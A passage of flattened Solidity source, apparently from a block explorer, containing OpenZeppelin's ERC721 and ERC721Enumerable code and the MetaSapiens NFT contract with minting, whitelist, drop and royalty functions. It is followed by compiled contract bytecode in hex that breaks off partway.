zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/MetaSapiens.sol // Amended by MetaSupreme /** * .#%%%%%%%%%. .#%%%- +%%%%%%%%%%%%%%%%%%: .%@@@@@@@@=:@@@@@ *@@@@@@@@@@@@@@@@@%. ..-@@@@@@@@@@@*.=======:.==========- -=====- #@@%.......:++++++. -=====- ===:.=======:.===: ===: .-========= *@@@@@@@@@@@-+@@@@@@@-+@@@@@@@@@+:%@@@@@@# #@@@@+ -@@@@@@@*. #@@@@@@%= %@@#.@@@@@@@% @@@@- *@@% #@@@@@@@@@: @@@##@@=@@@@ @@@@++++ =+*@@@%++:+@@*+*@@@* -#@@@@= -@@@#**@@@* *@@@**#@@@:*@@@ %@@@**** #@@@@-:@@@-+@@@*++++- +@@@:=@-=@@@*:@@@+.:: :@@@= %@@@--=@@@+ :*@@@@+.-@@@+--%@@@ +@@@ :=@@@*-@@@-*@@@::::.-@@@@@:#@@%.@@@%: .@@@# :- @@@@:+@@@@@@% =@@@. @@@@@@@@@@- .#@@@@-@@@@@@@@@@ =@@@.*@@@%=.@@@+-@@@@@@@* @@@@@@*@@@:.#@@@+ *@@@- :@@@% %@@@@%%= *@@@ :@@@#++#@@@: #@@@-@@@#++%@@@.=@@@:-*+: @@@% @@@@#### *@@@%@@@@@+ =@@@%. .@@@% *@@@=:@@@= @@@# -@@@- *@@@.:@@@@@@@@@@%-@@@- +@@@:-@@@- #@@@.#@@%. :@@@=%@@@@@ .*@@@+ *@@@- @@@@ *@@@##%@+ .@@@= +@@@. #@@@ -@@@@@@@@@#:-@@@- +@@@-:@@@+ *@@@-+@@@@@@@+ @@@* #@@@@= -@@@@- .@@@% =@@@* @@@@@@@@: -%%#: =+== :::. .... . .::. :+**=:%%@@@@@@ +@@@ #@@@% ==-:.#@@@. #@@@+ %@@@:-##*+==-: ..: .=+*: *@@@--@@@@@@@@* :@@@@. -:. .:: *#@@@@@@@ */ pragma solidity >=0.7.0 <0.9.0; contract MetaSapiens is ERC721Enumerable, Ownable, ERC2981ContractWideRoyalties { using Strings for uint256; string public baseURI; uint256 public cost = 1 ether; uint256 public maxSupply = 10101; uint256 public maxMintAmount = 10; uint256 public maxAvailableTokenID = 100; bool public paused = false; bool public onlyWhitelistedCanMint = false; bool public onlyOwnerCanMint = true; address[] public whitelistedAddresses; enum MintingAvailability { NoChange, Public, PrivateOnlyWhitelisted, PrivateOnlyOwner, Paused, SoldOut } constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, ERC2981Base) returns (bool) { return super.supportsInterface(interfaceId); } function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); if (msg.sender != owner()) { require(onlyOwnerCanMint == false, "only owner can mint"); if(onlyWhitelistedCanMint == true) { require(isWhitelisted(msg.sender), "user is not whitelisted"); } require(msg.value >= cost * _mintAmount, "insufficient funds"); } uint256 lastTokenIDToMint = supply + _mintAmount; require(lastTokenIDToMint <= maxAvailableTokenID, "token ID is not yet available"); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function mintingAvailability() public view returns (MintingAvailability) { uint256 supply = totalSupply(); if (supply >= maxAvailableTokenID || supply >= maxSupply) { return MintingAvailability.SoldOut; } if (paused) { return MintingAvailability.Paused; } if (onlyOwnerCanMint) { return MintingAvailability.PrivateOnlyOwner; } if (onlyWhitelistedCanMint) { return MintingAvailability.PrivateOnlyWhitelisted; } return MintingAvailability.Public; } function isWhitelisted(address _user) public view returns (bool) { for (uint i = 0; i < whitelistedAddresses.length; i++) { if (whitelistedAddresses[i] == _user) { return true; } } return false; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function setRoyalties(address recipient, uint256 value) public onlyOwner { _setRoyalties(recipient, value); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())) : ""; } //only owner function prepareForDrop(uint256 _nextMaxTokenID, uint256 _ownerMintCount, MintingAvailability _postDropMintState) public onlyOwner { require(totalSupply() == maxAvailableTokenID, "all tokens from current drop not yet minted"); maxAvailableTokenID = _nextMaxTokenID; if (_ownerMintCount > 0) { mint(_ownerMintCount); } if (_postDropMintState == MintingAvailability.Public) { onlyOwnerCanMint = false; onlyWhitelistedCanMint = false; paused = false; } else if (_postDropMintState == MintingAvailability.PrivateOnlyOwner) { onlyOwnerCanMint = true; onlyWhitelistedCanMint = false; paused = false; } else if (_postDropMintState == MintingAvailability.PrivateOnlyWhitelisted) { onlyOwnerCanMint = false; onlyWhitelistedCanMint = true; paused = false; } else if (_postDropMintState == MintingAvailability.Paused) { paused = true; } } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setMaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setMaxAvailableTokenID(uint256 _tokenID) public onlyOwner { maxAvailableTokenID = _tokenID; } function pause(bool _state) public onlyOwner { paused = _state; } function setOnlyWhitelistedCanMint(bool _state) public onlyOwner { onlyWhitelistedCanMint = _state; } function setOnlyOwnerCanMint(bool _state) public onlyOwner { onlyOwnerCanMint = _state; } function whitelistUsers(address[] calldata _users) public onlyOwner { delete whitelistedAddresses; whitelistedAddresses = _users; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
0x60806040526004361061027d5760003560e01c80636c0360eb1161014f578063aafa9371116100c1578063d5abeb011161007a578063d5abeb01146109c8578063dbd3b2d4146109f3578063e985e9c514610a1e578063edec5f2714610a5b578063f1248bd514610a84578063f2fde38b14610aad5761027d565b8063aafa9371146108a6578063b88d4fde146108d1578063ba4e5c49146108fa578063be02d5f514610937578063c87b56dd14610962578063cc230c0c1461099f5761027d565b80638da5cb5b116101135780638da5cb5b1461079057806393ca2ff6146107bb57806395d89b41146107f957806398d98b1b14610824578063a0712d6814610861578063a22cb4651461087d5761027d565b80636c0360eb146106bd57806370a08231146106e8578063715018a61461072557806385d098dc1461073c5780638c7ea24b146107675761027d565b80632f745c59116101f35780634f6ccce7116101ac5780634f6ccce71461059d57806355f804b3146105da5780635bb94589146106035780635c975abb1461062c5780636352211e1461065757806364513f47146106945761027d565b80632f745c591461048a5780633af32abf146104c75780633ccfd60b1461050457806342842e0e1461050e578063438b63001461053757806344a0d68a146105745761027d565b8063095ea7b311610245578063095ea7b31461037957806313faede6146103a257806318160ddd146103cd578063239c70ae146103f857806323b872dd146104235780632a55205a1461044c5761027d565b806301ffc9a71461028257806302329a29146102bf57806306fdde03146102e8578063081812fc14610313578063088a4ed014610350575b600080fd5b34801561028e57600080fd5b506102a960048036038101906102a49190613cfb565b610ad6565b6040516102b691906144d6565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e19190613ca1565b610ae8565b005b3480156102f457600080fd5b506102fd610b81565b60405161030a9190614527565b60405180910390f35b34801561031f57600080fd5b5061033a60048036038101906103359190613d9e565b610c13565b6040516103479190614424565b60405180910390f35b34801561035c57600080fd5b5061037760048036038101906103729190613d9e565b610c98565b005b34801561038557600080fd5b506103a0600480360381019061039b9190613c14565b610d1e565b005b3480156103ae57600080fd5b506103b7610e36565b6040516103c491906148e9565b60405180910390f35b3480156103d957600080fd5b506103e2610e3c565b6040516103ef91906148e9565b60405180910390f35b34801561040457600080fd5b5061040d610e49565b60405161041a91906148e9565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190613afe565b610e4f565b005b34801561045857600080fd5b50610473600480360381019061046e9190613dcb565b610eaf565b60405161048192919061448b565b60405180910390f35b34801561049657600080fd5b506104b160048036038101906104ac9190613c14565b610eea565b6040516104be91906148e9565b60405180910390f35b3480156104d357600080fd5b506104ee60048036038101906104e99190613a91565b610f8f565b6040516104fb91906144d6565b60405180910390f35b61050c61103e565b005b34801561051a57600080fd5b5061053560048036038101906105309190613afe565b611133565b005b34801561054357600080fd5b5061055e60048036038101906105599190613a91565b611153565b60405161056b91906144b4565b60405180910390f35b34801561058057600080fd5b5061059b60048036038101906105969190613d9e565b611201565b005b3480156105a957600080fd5b506105c460048036038101906105bf9190613d9e565b611287565b6040516105d191906148e9565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc9190613d55565b6112f8565b005b34801561060f57600080fd5b5061062a60048036038101906106259190613ca1565b61138e565b005b34801561063857600080fd5b50610641611427565b60405161064e91906144d6565b60405180910390f35b34801561066357600080fd5b5061067e60048036038101906106799190613d9e565b61143a565b60405161068b9190614424565b60405180910390f35b3480156106a057600080fd5b506106bb60048036038101906106b69190613ca1565b6114ec565b005b3480156106c957600080fd5b506106d2611585565b6040516106df9190614527565b60405180910390f35b3480156106f457600080fd5b5061070f600480360381019061070a9190613a91565b611613565b60405161071c91906148e9565b60405180910390f35b34801561073157600080fd5b5061073a6116cb565b005b34801561074857600080fd5b50610751611753565b60405161075e91906144d6565b60405180910390f35b34801561077357600080fd5b5061078e60048036038101906107899190613c14565b611766565b005b34801561079c57600080fd5b506107a56117f0565b6040516107b29190614424565b60405180910390f35b3480156107c757600080fd5b506107e260048036038101906107dd9190613cce565b61181a565b6040516107f092919061448b565b60405180910390f35b34801561080557600080fd5b5061080e611840565b60405161081b9190614527565b60405180910390f35b34801561083057600080fd5b5061084b60048036038101906108469190613c14565b6118d2565b60405161085891906144f1565b60405180910390f35b61087b60048036038101906108769190613d9e565b61194a565b005b34801561088957600080fd5b506108a4600480360381019061089f9190613bd4565b611c55565b005b3480156108b257600080fd5b506108bb611dd6565b6040516108c8919061450c565b60405180910390f35b3480156108dd57600080fd5b506108f860048036038101906108f39190613b51565b611e6b565b005b34801561090657600080fd5b50610921600480360381019061091c9190613d9e565b611ecd565b60405161092e9190614424565b60405180910390f35b34801561094357600080fd5b5061094c611f0c565b60405161095991906148e9565b60405180910390f35b34801561096e57600080fd5b5061098960048036038101906109849190613d9e565b611f12565b6040516109969190614527565b60405180910390f35b3480156109ab57600080fd5b506109c660048036038101906109c19190613e0b565b611fb9565b005b3480156109d457600080fd5b506109dd612274565b6040516109ea91906148e9565b60405180910390f35b3480156109ff57600080fd5b50610a0861227a565b604051610a1591906144d6565b60405180910390f35b348015610a2a57600080fd5b50610a456004803603810190610a409190613abe565b61228d565b604051610a5291906144d6565b60405180910390f35b348015610a6757600080fd5b50610a826004803603810190610a7d9190613c54565b612321565b005b348015610a9057600080fd5b50610aab6004803603810190610aa69190613d9e565b6123c1565b005b348015610ab957600080fd5b50610ad46004803603810190610acf9190613a91565b612447565b005b6000610ae18261253f565b9050919050565b610af06125b9565b73ffffffffffffffffffffffffffffffffffffffff16610b0e6117f0565b73ffffffffffffffffffffffffffffffffffffffff1614610b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5b90614789565b60405180910390fd5b80601160006101000a81548160ff02191690831515021790555050565b606060008054610b9090614c0c565b80601f0160208091040260200160405190810160405280929190818152602001828054610bbc90614c0c565b8015610c095780601f10610bde57610100808354040283529160200191610c09565b820191906000526020600020905b815481529060010190602001808311610bec57829003601f168201915b5050505050905090565b6000610c1e826125c1565b610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490614769565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b610ca06125b9565b73ffffffffffffffffffffffffffffffffffffffff16610cbe6117f0565b73ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90614789565b60405180910390fd5b80600f8190555050565b6000610d298261143a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9190614809565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610db96125b9565b73ffffffffffffffffffffffffffffffffffffffff161480610de85750610de781610de26125b9565b61228d565b5b610e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1e90614669565b60405180910390fd5b610e31838361262d565b505050565b600d5481565b6000600880549050905090565b600f5481565b610e60610e5a6125b9565b826126e6565b610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9690614849565b60405180910390fd5b610eaa8383836127c4565b505050565b6000806000610ebf600b5461181a565b80925081945050506127108185610ed69190614a99565b610ee09190614a68565b9150509250929050565b6000610ef583611613565b8210610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d90614569565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b600080600090505b601280549050811015611033578273ffffffffffffffffffffffffffffffffffffffff1660128281548110610fcf57610fce614dd4565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611020576001915050611039565b808061102b90614c6f565b915050610f97565b50600090505b919050565b6110466125b9565b73ffffffffffffffffffffffffffffffffffffffff166110646117f0565b73ffffffffffffffffffffffffffffffffffffffff16146110ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b190614789565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff16476040516110e09061440f565b60006040518083038185875af1925050503d806000811461111d576040519150601f19603f3d011682016040523d82523d6000602084013e611122565b606091505b505090508061113057600080fd5b50565b61114e83838360405180602001604052806000815250611e6b565b505050565b6060600061116083611613565b905060008167ffffffffffffffff81111561117e5761117d614e03565b5b6040519080825280602002602001820160405280156111ac5781602001602082028036833780820191505090505b50905060005b828110156111f6576111c48582610eea565b8282815181106111d7576111d6614dd4565b5b60200260200101818152505080806111ee90614c6f565b9150506111b2565b508092505050919050565b6112096125b9565b73ffffffffffffffffffffffffffffffffffffffff166112276117f0565b73ffffffffffffffffffffffffffffffffffffffff161461127d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127490614789565b60405180910390fd5b80600d8190555050565b6000611291610e3c565b82106112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990614869565b60405180910390fd5b600882815481106112e6576112e5614dd4565b5b90600052602060002001549050919050565b6113006125b9565b73ffffffffffffffffffffffffffffffffffffffff1661131e6117f0565b73ffffffffffffffffffffffffffffffffffffffff1614611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136b90614789565b60405180910390fd5b80600c908051906020019061138a929190613764565b5050565b6113966125b9565b73ffffffffffffffffffffffffffffffffffffffff166113b46117f0565b73ffffffffffffffffffffffffffffffffffffffff161461140a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140190614789565b60405180910390fd5b80601160026101000a81548160ff02191690831515021790555050565b601160009054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da906146a9565b60405180910390fd5b80915050919050565b6114f46125b9565b73ffffffffffffffffffffffffffffffffffffffff166115126117f0565b73ffffffffffffffffffffffffffffffffffffffff1614611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90614789565b60405180910390fd5b80601160016101000a81548160ff02191690831515021790555050565b600c805461159290614c0c565b80601f01602080910402602001604051908101604052809291908181526020018280546115be90614c0c565b801561160b5780601f106115e05761010080835404028352916020019161160b565b820191906000526020600020905b8154815290600101906020018083116115ee57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611684576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167b90614689565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116d36125b9565b73ffffffffffffffffffffffffffffffffffffffff166116f16117f0565b73ffffffffffffffffffffffffffffffffffffffff1614611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e90614789565b60405180910390fd5b6117516000612a20565b565b601160029054906101000a900460ff1681565b61176e6125b9565b73ffffffffffffffffffffffffffffffffffffffff1661178c6117f0565b73ffffffffffffffffffffffffffffffffffffffff16146117e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d990614789565b60405180910390fd5b6117ec8282612ae6565b5050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060608360001c901c91508260001c6bffffffffffffffffffffffff169050915091565b60606001805461184f90614c0c565b80601f016020809104026020016040519081016040528092919081815260200182805461187b90614c0c565b80156118c85780601f1061189d576101008083540402835291602001916118c8565b820191906000526020600020905b8154815290600101906020018083116118ab57829003601f168201915b5050505050905090565b6000612710821115611919576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611910906148c9565b60405180910390fd5b8160608473ffffffffffffffffffffffffffffffffffffffff16901b61193f9190614a12565b60001b905092915050565b601160009054906101000a900460ff161561199a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611991906147a9565b60405180910390fd5b60006119a4610e3c565b9050600082116119e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e0906148a9565b60405180910390fd5b600f54821115611a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a25906146e9565b60405180910390fd5b600e548282611a3d9190614a12565b1115611a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a75906146c9565b60405180910390fd5b611a866117f0565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bc45760001515601160029054906101000a900460ff16151514611b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0590614709565b60405180910390fd5b60011515601160019054906101000a900460ff1615151415611b7357611b3333610f8f565b611b72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6990614889565b60405180910390fd5b5b81600d54611b819190614a99565b341015611bc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bba90614829565b60405180910390fd5b5b60008282611bd29190614a12565b9050601054811115611c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1090614729565b60405180910390fd5b6000600190505b838111611c4f57611c3c338285611c379190614a12565b612b3f565b8080611c4790614c6f565b915050611c20565b50505050565b611c5d6125b9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc290614629565b60405180910390fd5b8060056000611cd86125b9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611d856125b9565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611dca91906144d6565b60405180910390a35050565b600080611de1610e3c565b905060105481101580611df65750600e548110155b15611e05576005915050611e68565b601160009054906101000a900460ff1615611e24576004915050611e68565b601160029054906101000a900460ff1615611e43576003915050611e68565b601160019054906101000a900460ff1615611e62576002915050611e68565b60019150505b90565b611e7c611e766125b9565b836126e6565b611ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb290614849565b60405180910390fd5b611ec784848484612b5d565b50505050565b60128181548110611edd57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b6060611f1d826125c1565b611f5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f53906147e9565b60405180910390fd5b6000611f66612bb9565b90506000815111611f865760405180602001604052806000815250611fb1565b80611f9084612c4b565b604051602001611fa19291906143eb565b6040516020818303038152906040525b915050919050565b611fc16125b9565b73ffffffffffffffffffffffffffffffffffffffff16611fdf6117f0565b73ffffffffffffffffffffffffffffffffffffffff1614612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c90614789565b60405180910390fd5b601054612040610e3c565b14612080576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612077906145e9565b60405180910390fd5b82601081905550600082111561209a576120998261194a565b5b600160058111156120ae576120ad614d47565b5b8160058111156120c1576120c0614d47565b5b141561211d576000601160026101000a81548160ff0219169083151502179055506000601160016101000a81548160ff0219169083151502179055506000601160006101000a81548160ff02191690831515021790555061226f565b6003600581111561213157612130614d47565b5b81600581111561214457612143614d47565b5b14156121a0576001601160026101000a81548160ff0219169083151502179055506000601160016101000a81548160ff0219169083151502179055506000601160006101000a81548160ff02191690831515021790555061226e565b600260058111156121b4576121b3614d47565b5b8160058111156121c7576121c6614d47565b5b1415612223576000601160026101000a81548160ff0219169083151502179055506001601160016101000a81548160ff0219169083151502179055506000601160006101000a81548160ff02191690831515021790555061226d565b6004600581111561223757612236614d47565b5b81600581111561224a57612249614d47565b5b141561226c576001601160006101000a81548160ff0219169083151502179055505b5b5b5b505050565b600e5481565b601160019054906101000a900460ff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6123296125b9565b73ffffffffffffffffffffffffffffffffffffffff166123476117f0565b73ffffffffffffffffffffffffffffffffffffffff161461239d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239490614789565b60405180910390fd5b601260006123ab91906137ea565b8181601291906123bc92919061380b565b505050565b6123c96125b9565b73ffffffffffffffffffffffffffffffffffffffff166123e76117f0565b73ffffffffffffffffffffffffffffffffffffffff161461243d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243490614789565b60405180910390fd5b8060108190555050565b61244f6125b9565b73ffffffffffffffffffffffffffffffffffffffff1661246d6117f0565b73ffffffffffffffffffffffffffffffffffffffff16146124c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ba90614789565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252a906145a9565b60405180910390fd5b61253c81612a20565b50565b60007f2a55205a000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bfffffffffffffffffffffffffffffffffffffffffffff